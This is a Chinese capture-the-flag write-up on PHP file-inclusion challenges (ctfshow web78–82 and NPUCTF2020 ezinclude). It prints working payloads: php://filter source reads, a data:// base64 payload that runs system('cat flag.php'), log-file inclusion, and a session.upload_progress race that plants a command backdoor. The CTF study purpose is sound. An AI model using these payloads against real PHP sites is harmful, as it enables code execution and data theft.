CTFSHOW 文件包含

  • 今天 复习一下文件包含漏洞

web 78

payload:

?file=php://filter/convert.base64-encode/resource=flag.php

web 79

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web 80-81

  • 这道题开始就有技巧了
  • 源码 过滤了 php和data 伪协议用不了
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  • payload
?file=/var/log/nginx/access.log
  • 文件包含日志文件
    在这里插入图片描述

web 82

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}

夹带私活 [NPUCTF2020]ezinclude

  • 进入页面给了提示
<!--md5($secret.$name)===$pass -->
  • 抓包后又hash值 直接url上传
  • 然后又给了提示include($_GET["file"]
  • 尝试读取源码\flflflflag.php?file=php://filter/convert.base64-encode/resource%3dflflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
    
    
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
  • 过滤了这些东西 直接伪协议是行不通的 想到两个方法 一个就是日志文件(不知道路径) 一个就是
    session.upload_progress进行文件包含
  • 这题我的解法是session.upload_progress进行文件包含 然后利用竞争攻击
  • POC
    在这里插入图片描述
  • 访问暂存的文件
    在这里插入图片描述
  • 竞争攻击
  • 写入了一个后门
  • POST传参:cmd=phpinfo();
  • flag在phpinfo()里面,我翻遍了目录文件 最后看wp才知道在phpinfo()

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/115262796
今日推荐